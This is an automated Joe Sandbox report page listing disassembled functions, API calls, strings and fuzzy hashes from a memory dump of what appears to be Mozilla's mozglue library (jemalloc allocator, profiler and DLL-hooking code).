GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CBE6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CBE6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBE652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CBE671C
GetCurrentProcess.KERNEL32 ref: 6CBE6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBE672F
GetCurrentProcess.KERNEL32 ref: 6CBE6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBE6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CBE6A80
GetSystemInfo.KERNEL32(?), ref: 6CBE6ABE
__Init_thread_footer.LIBCMT ref: 6CBE6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBE6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBE6AF7

Strings

nvd3d9wrap.dll, xrefs: 6CBE6500
_etoured.dll, xrefs: 6CBE64ED
detoured.dll, xrefs: 6CBE64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CBE6798
user32.dll, xrefs: 6CBE6526
nvdxgiwrap.dll, xrefs: 6CBE6513

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 40e04eb10905ae9ff95dff4ce5f93d6b3f135e10251037b52f5e98c2911a3827
Instruction ID: f5e61554dcac1428af0d527870df4bb4940203fc78f703d59bcc9c1c6dd5e434
Opcode Fuzzy Hash: 40e04eb10905ae9ff95dff4ce5f93d6b3f135e10251037b52f5e98c2911a3827
Instruction Fuzzy Hash: A1F1F370E0526D8FDB20CF24CC48B9ABBB4EF4A758F144299D919E3641E731AE94CF91

Function 6CC060A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E7DC), ref: 6CC060C9
LeaveCriticalSection.KERNEL32(6CC5E7DC), ref: 6CC0610D
EnterCriticalSection.KERNEL32(?), ref: 6CC0618C
LeaveCriticalSection.KERNEL32(?), ref: 6CC061F9

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CC06BC7, 6CC06F97, 6CC06FB2
Compile-time page size does not divide the runtime one., xrefs: 6CC06AAE
MOZ_CRASH(), xrefs: 6CC06AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CC06B6A
<jemalloc>, xrefs: 6CC06AA9, 6CC06B59
MALLOC_OPTIONS, xrefs: 6CC06888

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 67e0875fc9391dc9e38a115c5d0676e8ccabf2cf6841124ec09e874a0a1e1e7b
Instruction ID: 43a5e972c01bf84cf793f95db6a50272f634468f35403b6538cb9ef2548b22a0
Opcode Fuzzy Hash: 67e0875fc9391dc9e38a115c5d0676e8ccabf2cf6841124ec09e874a0a1e1e7b
Instruction Fuzzy Hash: 9AA2AB71B05A118FD708CF29C450715BBF1BB85328F29C66DE869DBB91E772E890CB80

Function 6CC3C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CC3C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CC3C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CC3C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC3CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC3DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3E472

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 733db7df3488e4b900b26390630e7782e15d32b63a6a3edba5c97628913ca57e
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4933B071E0022ACFCB14CF98D8806EDBBF2FF49314F188269D959AB755E731A945CB90

Function 6CBEFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E7B8), ref: 6CBEFF81
LeaveCriticalSection.KERNEL32(6CC5E7B8), ref: 6CBF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CBF0240
EnterCriticalSection.KERNEL32(6CC5E768), ref: 6CBF025B
LeaveCriticalSection.KERNEL32(6CC5E768), ref: 6CBF027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBEFE99, 6CBEFEB7, 6CBEFED3, 6CBF0DB8, 6CBF0DD3, 6CBF19B4
: (malloc) Error in VirtualFree(), xrefs: 6CBF0D67, 6CBF0D7B, 6CBF0DAC
<jemalloc>, xrefs: 6CBF0D62, 6CBF0D76, 6CBF0DA7

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 53a98e8fcfb938f490bcbd85f94c5a665124cc27bed7ba194ccabd6616c37e75
Instruction ID: e38cea7c81a8c2d6070914674a267da27ae1e389c8db15a6a5b64c714a8fbe2d
Opcode Fuzzy Hash: 53a98e8fcfb938f490bcbd85f94c5a665124cc27bed7ba194ccabd6616c37e75
Instruction Fuzzy Hash: 76C29D71A057818FD714CF28C890716BBE1EF85728F28C66DE8798B7A5D771E806CB81

Function 6CC3E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CC3E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC3EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC3F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CC3F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC40E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CC40E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CC40EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CC40ED4

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 914281c2fe6ef1e21e8ee69265cf66afd5ffd0afe27301ab31eac8e409a8c3b8
Instruction ID: a840c510a81e4b2d315a90260cfa91d273e18980b66cd5bfbcdf2fbf06c21991
Opcode Fuzzy Hash: 914281c2fe6ef1e21e8ee69265cf66afd5ffd0afe27301ab31eac8e409a8c3b8
Instruction Fuzzy Hash: B8638171E0025ACFCB14CFA8C8905DDFBB2FF99310F298269D855AB755E730A946CB90

Function 6CC13E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CC37770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CC13E7D,?,?,?,6CC13E7D,?,?), ref: 6CC3777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CC13F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CC13F5C
VerSetConditionMask.NTDLL ref: 6CC13F8D
VerSetConditionMask.NTDLL ref: 6CC13F99
VerSetConditionMask.NTDLL ref: 6CC13FA0
VerSetConditionMask.NTDLL ref: 6CC13FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CC13FB4

Strings

nvd3d9wrap.dll, xrefs: 6CC14466
nvinit.dll, xrefs: 6CC14479

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 1d961779e7e01c070e5b64261d647cc3cc5c74bd1cfa6b4845471f3020d75c5c
Instruction ID: 9cc266bbc75596c3583784e692563b010d711467dee62dc0c29d4529a2a15e29
Opcode Fuzzy Hash: 1d961779e7e01c070e5b64261d647cc3cc5c74bd1cfa6b4845471f3020d75c5c
Instruction Fuzzy Hash: 6D52F371614B898FD714DF35C890AAB7BE9AF85308F44892DD496CBB42DB34F909CB60

Function 6CBFED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CBFEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CBFEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CC01695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CC01770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC01A3E

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: b65b5701f01a16d18686cbb135fba7ed9f1ccbdeab53a9fcaafa1b0bc43c1a61
Instruction ID: dbd99fce2b648c1207dd913b1248592da575773fccc716f162b509c7e7060646
Opcode Fuzzy Hash: b65b5701f01a16d18686cbb135fba7ed9f1ccbdeab53a9fcaafa1b0bc43c1a61
Instruction Fuzzy Hash: FEB32971E002598FCB14CFA9C890A9DF7B2FF49304F1982A9D459AB745E731AD86CF90

Function 6CBEFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E7B8), ref: 6CBEFF81
LeaveCriticalSection.KERNEL32(6CC5E7B8), ref: 6CBF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CBF0240
EnterCriticalSection.KERNEL32(6CC5E768), ref: 6CBF025B
LeaveCriticalSection.KERNEL32(6CC5E768), ref: 6CBF027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBEFE99, 6CBEFEB7, 6CBEFED3, 6CBF0DB8, 6CBF0DD3, 6CBF19B4, 6CBF1A10
MOZ_CRASH(), xrefs: 6CBF0CA7

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b9664a528c10f5e93604d20524308fee07846547d456c1995f1ccd50b51513af
Instruction ID: 5e1889ccb976aabcaed97545e2a7642da22a8f95a88c342cf46eebd38e5d328e
Opcode Fuzzy Hash: b9664a528c10f5e93604d20524308fee07846547d456c1995f1ccd50b51513af
Instruction Fuzzy Hash: 92B29E716057818FD714CF29C590716BBE1EF85328F28CA6CE87A8B7A5D770D84ACB81

Function 6CC25600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6CC25CB6
data, xrefs: 6CC26131
ProfileBuffer parse error: %s, xrefs: 6CC25AC8, 6CC25CBB
schema, xrefs: 6CC2606D
expected a Count entry, xrefs: 6CC25AC3
name, xrefs: 6CC25E79, 6CC25E8F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: a9bfb5c8f933dd5ba7f8d110a423046c8c542610ad687260fbf2c46aeeba8e3a
Instruction ID: df5bd1d59862bb35ea48455e3775a7b39b5e5102d19e60b027969ec64ded8409
Opcode Fuzzy Hash: a9bfb5c8f933dd5ba7f8d110a423046c8c542610ad687260fbf2c46aeeba8e3a
Instruction Fuzzy Hash: 8B924A71A083418FD724CF18C490B9BBBE1BFC9348F14891DE59A9B755EB34E849CB92

Function 6CC22E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CC22ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC22EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CC22F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC23214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC23242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC236BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6CC2378D
set , xrefs: 6CC236EC
get , xrefs: 6CC23205

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 26a451f9b9dda98fe3da9c086a7b6a76b3168b3884bb6e990dab3918fe95862a
Instruction ID: b84ac8e23b98e4fa8333d2e5743848fff647102ab8e8c8a982ef62f099fb0d3b
Opcode Fuzzy Hash: 26a451f9b9dda98fe3da9c086a7b6a76b3168b3884bb6e990dab3918fe95862a
Instruction Fuzzy Hash: DE326E706083818FD724CF24C490A9FBBE6AFC9318F58881DE5D987751EB34E94ACB52

Function 6CC17E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CC17E88
data, xrefs: 6CC18280, 6CC183E1
schema, xrefs: 6CC181E3, 6CC18311
name, xrefs: 6CC17ECF, 6CC18335

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 751c3a3cd32da3b065f91344ac834d4a85a591f093306a30a8c35def294ad02a
Instruction ID: b3dcea43f4aa07ffd975fb9e223292e78367eb62ae3e554adc0dd122080bb68c
Opcode Fuzzy Hash: 751c3a3cd32da3b065f91344ac834d4a85a591f093306a30a8c35def294ad02a
Instruction Fuzzy Hash: 53E17DB1A043808BC710CF69C84065BFBEABFC9754F158A2DE895D7790EBB0DD498B91

Function 6CBFD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E784,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD4F2
LeaveCriticalSection.KERNEL32(6CC5E784,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD50B

Part of subcall function 6CBDCFE0: EnterCriticalSection.KERNEL32(6CC5E784), ref: 6CBDCFF6
Part of subcall function 6CBDCFE0: LeaveCriticalSection.KERNEL32(6CC5E784), ref: 6CBDD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD52E
EnterCriticalSection.KERNEL32(6CC5E7DC), ref: 6CBFD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBFD6A6
LeaveCriticalSection.KERNEL32(6CC5E7DC), ref: 6CBFD712
LeaveCriticalSection.KERNEL32(6CC5E784,?,?,?,?,?,?,?,00000000,774D2FE0,00000001,?,6CC0D1C5), ref: 6CBFD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBFD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CBFD82C
<jemalloc>, xrefs: 6CBFD827

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: e31ea5d95dc5384ed42d26f125117a2aa18eb423e9730f42fef89ecffb3a3eb5
Instruction ID: e2adc8d79264ee5ecb9534099ec62e14905cf97a71a187e71c9ec0cb2d44d430
Opcode Fuzzy Hash: e31ea5d95dc5384ed42d26f125117a2aa18eb423e9730f42fef89ecffb3a3eb5
Instruction Fuzzy Hash: 2191D371A047818FD714CF38D09072AB7F1EB89314F55492EE56ACBB81E734E85ACB82

Function 6CBF5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBF5EDB
memset.VCRUNTIME140(6CC37765,000000E5,55CCCCCC), ref: 6CBF5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CBF5FB2
memset.VCRUNTIME140(6CC37765,000000E5,C5C09015), ref: 6CBF61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CBF7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBF7BCD, 6CBF7C1F, 6CBF7C34, 6CBF80FD
MOZ_CRASH(), xrefs: 6CBF7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CBF72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CBF72E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CBF730D

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d15b07eef294b6fd1a3ba1dd4d0a7b8f2b7dd92afc73aa53dd1bac547494218e
Instruction ID: 8b74f5e835ce9f95e6e1b84ece4468f5f46484c4368a2fc22c287ee9c0403bb7
Opcode Fuzzy Hash: d15b07eef294b6fd1a3ba1dd4d0a7b8f2b7dd92afc73aa53dd1bac547494218e
Instruction Fuzzy Hash: 09339C716057418FD308CF28C590615BBE2FF86328F29C6ADE8798B7A5D771E846CB42

Function 6CBD3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CBD3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CBD34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CBD34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CBD350E
__Init_thread_footer.LIBCMT ref: 6CBD3522
__aulldiv.LIBCMT ref: 6CBD3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CBD357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CBD3592

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CBD3508
kernel32.dll, xrefs: 6CBD34EA

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
